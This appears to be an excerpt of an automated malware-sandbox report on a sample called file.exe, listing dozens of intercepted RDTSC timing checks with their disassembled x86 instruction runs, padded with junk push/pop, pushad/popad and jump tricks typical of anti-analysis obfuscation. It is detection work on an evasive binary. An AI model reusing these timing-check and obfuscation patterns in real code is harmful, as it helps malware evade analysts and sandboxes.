Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8C82 second address: 5D8CAF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jc 00007F2398D03456h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F2398D03463h 0x00000016 popad 0x00000017 jng 00007F2398D0345Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7ED0 second address: 5D7F4C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+12458113h], ebx 0x00000011 push dword ptr fs:[00000000h] 0x00000018 jmp 00007F239852C067h 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 cld 0x00000025 mov eax, dword ptr [ebp+122D0CC9h] 0x0000002b mov ebx, 0340600Fh 0x00000030 push FFFFFFFFh 0x00000032 mov edi, 1A0944F0h 0x00000037 nop 0x00000038 jno 00007F239852C076h 0x0000003e push eax 0x0000003f jng 00007F239852C060h 0x00000045 pushad 0x00000046 push esi 0x00000047 pop esi 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DAE25 second address: 5DAE35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 jl 00007F2398D03456h 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9FC9 second address: 5D9FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DAE35 second address: 5DAE3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9FCD second address: 5D9FE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F239852C058h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCCBF second address: 5DCCC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DBF2A second address: 5DBF3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F239852C05Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DEDBA second address: 5DEDBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DEDBE second address: 5DEDE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F239852C05Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F239852C05Dh 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edi 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0D8C second address: 5E0D92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCE3F second address: 5DCE43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDF36 second address: 5DDF3B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DEFA6 second address: 5DEFC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F239852C056h 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F239852C064h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFF9C second address: 5DFFA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCE43 second address: 5DCE49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFFA2 second address: 5DFFA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCE49 second address: 5DCE4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1DE2 second address: 5E1DE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DF075 second address: 5DF079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1DE6 second address: 5E1DF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2398D0345Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1DF7 second address: 5E1E0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F239852C05Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1E0C second address: 5E1E12 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1E12 second address: 5E1E8D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 je 00007F239852C056h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F239852C058h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 mov di, ax 0x0000002a sbb ebx, 1341B77Dh 0x00000030 push 00000000h 0x00000032 call 00007F239852C062h 0x00000037 mov edi, dword ptr [ebp+122D364Dh] 0x0000003d pop ebx 0x0000003e and edi, dword ptr [ebp+122D1C9Ch] 0x00000044 push 00000000h 0x00000046 cmc 0x00000047 xchg eax, esi 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b je 00007F239852C056h 0x00000051 jmp 00007F239852C068h 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0F18 second address: 5E0F1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0F1C second address: 5E0FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 jc 00007F239852C058h 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 nop 0x00000013 jmp 00007F239852C065h 0x00000018 push dword ptr fs:[00000000h] 0x0000001f clc 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 push 00000000h 0x00000029 push ebp 0x0000002a call 00007F239852C058h 0x0000002f pop ebp 0x00000030 mov dword ptr [esp+04h], ebp 0x00000034 add dword ptr [esp+04h], 00000014h 0x0000003c inc ebp 0x0000003d push ebp 0x0000003e ret 0x0000003f pop ebp 0x00000040 ret 0x00000041 mov di, si 0x00000044 cmc 0x00000045 mov eax, dword ptr [ebp+122D129Dh] 0x0000004b push 00000000h 0x0000004d push edi 0x0000004e call 00007F239852C058h 0x00000053 pop edi 0x00000054 mov dword ptr [esp+04h], edi 0x00000058 add dword ptr [esp+04h], 00000017h 0x00000060 inc edi 0x00000061 push edi 0x00000062 ret 0x00000063 pop edi 0x00000064 ret 0x00000065 jmp 00007F239852C05Ch 0x0000006a push FFFFFFFFh 0x0000006c cld 0x0000006d push eax 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007F239852C068h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0FC2 second address: 5E0FC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2028 second address: 5E2032 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F239852C056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2032 second address: 5E20CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2398D0345Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ebx, dword ptr [ebp+122D36F1h] 0x00000012 mov ebx, dword ptr [ebp+122D2521h] 0x00000018 push dword ptr fs:[00000000h] 0x0000001f mov bl, DFh 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 push 00000000h 0x0000002a push esi 0x0000002b call 00007F2398D03458h 0x00000030 pop esi 0x00000031 mov dword ptr [esp+04h], esi 0x00000035 add dword ptr [esp+04h], 00000019h 0x0000003d inc esi 0x0000003e push esi 0x0000003f ret 0x00000040 pop esi 0x00000041 ret 0x00000042 mov eax, dword ptr [ebp+122D0705h] 0x00000048 jmp 00007F2398D03463h 0x0000004d push FFFFFFFFh 0x0000004f push 00000000h 0x00000051 push ebp 0x00000052 call 00007F2398D03458h 0x00000057 pop ebp 0x00000058 mov dword ptr [esp+04h], ebp 0x0000005c add dword ptr [esp+04h], 00000016h 0x00000064 inc ebp 0x00000065 push ebp 0x00000066 ret 0x00000067 pop ebp 0x00000068 ret 0x00000069 mov ebx, dword ptr [ebp+122D2135h] 0x0000006f nop 0x00000070 pushad 0x00000071 push eax 0x00000072 push edx 0x00000073 jnc 00007F2398D03456h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E20CD second address: 5E20E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F239852C05Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3D22 second address: 5E3D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2398D03460h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F2398D0345Dh 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 jne 00007F2398D03465h 0x0000001b nop 0x0000001c push 00000000h 0x0000001e mov dword ptr [ebp+122D2981h], eax 0x00000024 push 00000000h 0x00000026 jmp 00007F2398D03467h 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3D88 second address: 5E3D97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F239852C05Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3D97 second address: 5E3D9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3D9D second address: 5E3DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6CFE second address: 5E6D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3EF4 second address: 5E3F1D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F239852C056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F239852C069h 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3FDD second address: 5E3FF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2398D0345Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587BDF second address: 587C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F239852C066h 0x0000000b jmp 00007F239852C05Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587C09 second address: 587C21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F2398D03462h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587C21 second address: 587C3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F239852C063h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE5E2 second address: 5EE5F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2398D0345Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE5F3 second address: 5EE5FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F239852C056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE5FD second address: 5EE615 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2398D03456h 0x00000008 jno 00007F2398D03456h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F2398D03456h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE615 second address: 5EE629 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F239852C060h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE75D second address: 5EE782 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2398D03456h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F2398D03469h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE8F9 second address: 5EE904 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F239852C056h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4DE1 second address: 5F4DF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F2398D03456h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4DF5 second address: 5F4E1A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F239852C056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F239852C069h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAA2C second address: 5FAA32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9EE3 second address: 5F9EE8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA210 second address: 5FA216 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA4DB second address: 5FA4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F239852C05Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA4EC second address: 5FA4F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6002B1 second address: 6002B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586032 second address: 586048 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2398D03462h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FF132 second address: 5FF186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F239852C068h 0x00000009 ja 00007F239852C056h 0x0000000f jmp 00007F239852C060h 0x00000014 popad 0x00000015 jo 00007F239852C058h 0x0000001b push edi 0x0000001c pop edi 0x0000001d jmp 00007F239852C05Ah 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 push ecx 0x00000026 jmp 00007F239852C05Ah 0x0000002b pop ecx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FF186 second address: 5FF18B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FF18B second address: 5FF193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FF740 second address: 5FF74C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F2398D0345Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFA28 second address: 5FFA6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007F239852C072h 0x0000000e jmp 00007F239852C060h 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 jg 00007F239852C056h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFA6E second address: 5FFA72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFA72 second address: 5FFA81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 je 00007F239852C056h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFA81 second address: 5FFA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFA8B second address: 5FFA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFC0B second address: 5FFC14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFD64 second address: 5FFD68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFD68 second address: 5FFD6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFD6E second address: 5FFD79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602477 second address: 602483 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2398D03456h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60574A second address: 605753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609D2E second address: 609D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F2398D03464h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609D4B second address: 609D4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609D4F second address: 609D5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F2398D03456h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609EC2 second address: 609ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609ECE second address: 609EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F2398D03462h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609EED second address: 609EF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609EF9 second address: 609EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A065 second address: 60A06B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AA5C second address: 60AA61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AA61 second address: 60AA6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F239852C056h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AD30 second address: 60AD36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AD36 second address: 60AD3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB122 second address: 5AB142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F2398D03468h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB142 second address: 5AB153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F239852C058h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB153 second address: 5AB157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB157 second address: 5AB15B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B19D second address: 60B1B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2398D03462h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B1B3 second address: 60B1D8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F239852C056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F239852C062h 0x00000010 jo 00007F239852C056h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
